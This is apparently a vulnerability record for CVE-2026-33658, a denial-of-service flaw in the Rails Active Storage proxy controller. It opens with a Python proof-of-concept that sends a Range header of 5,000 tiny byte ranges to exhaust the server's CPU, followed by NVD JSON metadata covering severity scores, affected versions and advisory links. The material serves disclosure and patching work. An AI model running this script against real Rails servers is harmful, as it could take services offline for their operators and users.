CVE-2026-33658

import requests # Target URL of a vulnerable Active Storage endpoint target_url = "http://localhost:3000/rails/active_storage/disk/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCZz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--example/proxy" # Construct a malicious Range header with thousands of small ranges # This causes high CPU usage during parsing range_count = 5000 ranges = ",".join([f"{i}-{i}" for i in range(range_count)]) headers = { "Range": f"bytes={ranges}" } try: print(f"Sending request with {range_count} ranges...") response = requests.get(target_url, headers=headers, timeout=10) print(f"Response Status Code: {response.status_code}") except requests.exceptions.Timeout: print("Request timed out - Possible DoS condition triggered.") except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-33658", "sourceIdentifier": "[email protected]", "published": "2026-03-26T22:16:29.387", "lastModified": "2026-04-30T19:02:21.447", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Active Storage allows users to attach cloud and local files in Rails applications. Prior to versions 8.1.2.1, 8.0.4.1, and 7.2.3.1\nActive Storage's proxy controller does not limit the number of byte ranges in an HTTP Range header. A request with thousands of small ranges causes disproportionate CPU usage compared to a normal request for the same file, possibly resulting in a DoS vulnerability. Versions 8.1.2.1, 8.0.4.1, and 7.2.3.1 contain a patch."}, {"lang": "es", "value": "Active Storage permite a los usuarios adjuntar archivos en la nube y locales en aplicaciones Rails. Antes de las versiones 8.1.2.1, 8.0.4.1 y 7.2.3.1, el controlador proxy de Active Storage no limita el número de rangos de bytes en un encabezado HTTP Range. Una solicitud con miles de rangos pequeños causa un uso desproporcionado de la CPU en comparación con una solicitud normal para el mismo archivo, lo que posiblemente resulte en una vulnerabilidad de DoS. Las versiones 8.1.2.1, 8.0.4.1 y 7.2.3.1 contienen un parche."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.2.3.1", "matchCriteriaId": "D9DC6CB9-DC6C-4CBB-9806-3936ADBC8F1B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.4.1", "matchCriteriaId": "FA8791E1-8B96-43F6-A3EC-A7E60D700330"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.1.0", "versionEndExcluding": "8.1.2.1", "matchCriteriaId": "978E0135-D14B-41DE-87E4-CF059A23E189"}]}]}], "references": [{"url": "https://github.com/rails/rails/releases/tag/v7.2.3.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/rails/rails/releases/tag/v8.0.4.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/rails/rails/releases/tag/v8.1.2.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/rails/rails/security/advisories/GHSA-p9fm-f462-ggrg", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activestorage/CVE-2026-33658.yml", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}